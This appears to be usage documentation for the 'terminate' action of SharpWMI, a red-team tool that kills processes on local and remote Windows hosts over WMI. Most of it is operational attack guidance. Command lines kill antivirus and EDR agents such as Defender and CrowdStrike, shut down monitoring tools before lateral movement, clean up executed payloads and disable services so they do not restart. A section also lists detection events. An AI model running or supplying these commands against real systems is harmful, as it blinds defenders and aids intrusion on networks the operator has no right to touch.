terminate - SpecterOps Open Source

Overview

The terminate action kills processes on local and remote systems using the Win32_Process.Terminate WMI method. It supports termination by process ID or process name.

The terminate action kills only the first matching process found. For multiple instances of the same process, run the command multiple times.

Syntax

SharpWMI.exe action=terminate process=PID|name [computername=HOST[,HOST2,...]] [username=DOMAIN\user] [password=Password]

Parameters

Parameter	Required	Description
`action`	Yes	Must be `terminate`
`process`	Yes	Process ID (numeric) or process name
`computername`	No	Target host(s), comma-separated. Defaults to localhost
`username`	No	Username for authentication
`password`	No	Password for authentication

Usage Examples

Terminate by Name

SharpWMI.exe action=terminate process=notepad

SharpWMI.exe action=terminate process=powershell computername=target.domain.com

SharpWMI.exe action=terminate process=cmd computername=target.domain.com username="DOMAIN\admin" password="Password123!"

SharpWMI.exe action=terminate process=chrome computername=ws01,ws02,ws03

Terminate by PID

SharpWMI.exe action=terminate process=1234 computername=target.domain.com

SharpWMI.exe action=terminate process=5678 computername=target.domain.com username="DOMAIN\admin" password="Password123!"

Example Output

[+] Attempted to terminate remote process (notepad). Returned: 0

Return values:

0 = Success
2 = Access Denied
3 = Insufficient Privilege
8 = Unknown Failure
9 = Path Not Found
21 = Invalid Parameter

Operational Use Cases

Scenario 1: Kill Security Tools

# Terminate AV processes
SharpWMI.exe action=terminate process=MsMpEng computername=target.domain.com

# Kill EDR agents (use with caution - highly detectable)
SharpWMI.exe action=terminate process=CrowdStrike computername=target.domain.com

# Stop Windows Defender
SharpWMI.exe action=terminate process=MsSense computername=target.domain.com

Terminating security tools is extremely detectable and may trigger immediate alerts. Use only when absolutely necessary.

Scenario 2: Clean Up After Operations

# 1. Execute payload
SharpWMI.exe action=exec computername=target command="C:\temp\tool.exe" result=true

# 2. Terminate after completion
SharpWMI.exe action=terminate process=tool computername=target

Scenario 3: Kill Monitoring Processes

# Enumerate processes first
SharpWMI.exe action=ps computername=target.domain.com

# Terminate monitoring tools
SharpWMI.exe action=terminate process=procmon computername=target.domain.com
SharpWMI.exe action=terminate process=procexp computername=target.domain.com

Scenario 4: Kill Specific PID

# 1. Find process PID
SharpWMI.exe action=ps computername=target.domain.com

# 2. Kill by specific PID
SharpWMI.exe action=terminate process=3456 computername=target.domain.com

Process Name Matching

The terminate action uses a partial name match with LIKE '%name%':

SELECT * FROM Win32_Process WHERE Name LIKE '%notepad%'

This means:

process=note will match notepad.exe
process=explorer will match explorer.exe
process=svchost will match svchost.exe

You don’t need to include .exe extension in process name.

Remote vs Local Usage

Local Termination
Remote Termination

SharpWMI.exe action=terminate process=notepad

When to use:

Post-exploitation cleanup
Kill local monitoring tools
Stop processes after execution

Advantages:

No network traffic
No authentication required

SharpWMI.exe action=terminate process=notepad computername=target.domain.com

When to use:

Kill security tools before lateral movement
Stop processes on compromised systems
Clean up after remote operations

Requirements:

Admin privileges on target
WMI access over network

Limitations

First Match Only

Terminates only the first matching process. For multiple instances, run multiple times.

Protected Processes

Cannot terminate protected processes (PPL - Protected Process Light) without kernel access.

System Processes

Some critical system processes may cause system instability or crash if terminated.

Access Requirements

Requires admin privileges and may fail for processes owned by SYSTEM.

Detection Considerations

Process Termination Detection

Event ID 4689: Process termination
Sysmon Event ID 5: Process terminated
Unusual process terminations
Security tool crashes
Monitoring tool shutdowns

WMI Detection

WMI Terminate method invocation
Event ID 5857: WMI activity
Remote Win32_Process operations
Sysmon Event ID 19-21: WMI activity

Behavioral Detection

AV/EDR process termination attempts
Multiple process kills in succession
Termination of security monitoring
Correlation with other malicious activity

Best Practices

Operational Security

Avoid killing security tools when possible
Kill only necessary processes
Be aware of detection risks
Consider persistence of restarting services

Error Handling

Check return values
Verify process was actually terminated
Handle access denied gracefully
Account for protected processes

Target Selection

Identify process PID first with ps action
Verify ownership before terminating
Understand process purpose
Consider impact on system stability

Cleanup Strategy

Terminate own tools after use
Kill temporary processes
Remove monitoring before operations
Restore services if needed

Common Targets

Processes to Avoid Terminating

Terminating these processes may cause system instability:

csrss.exe - Critical system process
smss.exe - Session Manager
winlogon.exe - Windows Logon Process
services.exe - Service Control Manager
lsass.exe - Local Security Authority (system crash)

Common Targets

Monitoring Tools:

procmon.exe, procexp.exe - Sysinternals
wireshark.exe - Network monitoring
fiddler.exe - Web proxy

Security Tools:

MsMpEng.exe - Windows Defender
cb.exe - Carbon Black
falcon-sensor.exe - CrowdStrike

Troubleshooting

Process Not Found

Output: [x] Process notepad not foundCause: No matching processSolution:

Verify process is running: SharpWMI.exe action=ps
Check process name spelling
Process may have already terminated

Access Denied (Return: 2)

Cause: Insufficient privilegesSolution:

Verify admin credentials
Some processes require SYSTEM privileges
Use username and password parameters
May need to elevate to SYSTEM context

Protected Process

Cause: Process is protected (PPL)Solution:

Cannot terminate without kernel access
Consider alternative approaches
May require driver exploitation

Service Restarts

Cause: Service automatically restartsSolution:

Stop the service instead of killing process
Disable service auto-restart

Use service control commands:

SharpWMI.exe action=exec command="sc stop ServiceName" result=true
SharpWMI.exe action=exec command="sc config ServiceName start= disabled" result=true

Return Value Reference

Return Value	Meaning	Action
0	Successful completion	Process terminated successfully
2	Access denied	Use elevated credentials
3	Insufficient privilege	Requires admin/SYSTEM
8	Unknown failure	Check process state
9	Path not found	Process doesn’t exist
21	Invalid parameter	Check process ID/name

ps

List processes to find targets

exec

Execute processes

query

Query Win32_Process directly

getenv

Get environment variables

Alternative Methods

Terminate All Instances

To kill all instances of a process, use a loop or custom query:

# Using exec action with taskkill
SharpWMI.exe action=exec computername=target command="taskkill /F /IM notepad.exe /T" result=true

Stop Windows Service

# Stop service
SharpWMI.exe action=exec computername=target command="sc stop ServiceName" result=true

# Disable service
SharpWMI.exe action=exec computername=target command="sc config ServiceName start= disabled" result=true

​Overview

​Syntax

​Parameters

​Usage Examples

​Terminate by Name

​Terminate by PID

​Example Output

​Operational Use Cases

​Scenario 1: Kill Security Tools

​Scenario 2: Clean Up After Operations

​Scenario 3: Kill Monitoring Processes

​Scenario 4: Kill Specific PID

​Process Name Matching

​Remote vs Local Usage

​Limitations

First Match Only

Protected Processes

System Processes

Access Requirements

​Detection Considerations

​Best Practices

Operational Security

Error Handling

Target Selection

Cleanup Strategy

​Common Targets

​Processes to Avoid Terminating

​Common Targets

​Troubleshooting

​Return Value Reference

​Related Actions

ps

exec

query

getenv

​Alternative Methods

Overview

Syntax

Parameters

Usage Examples

Terminate by Name

Terminate by PID

Example Output

Operational Use Cases

Scenario 1: Kill Security Tools

Scenario 2: Clean Up After Operations

Scenario 3: Kill Monitoring Processes

Scenario 4: Kill Specific PID

Process Name Matching

Remote vs Local Usage

Limitations

Detection Considerations

Best Practices

Common Targets

Processes to Avoid Terminating

Common Targets

Troubleshooting

Return Value Reference

Related Actions

Alternative Methods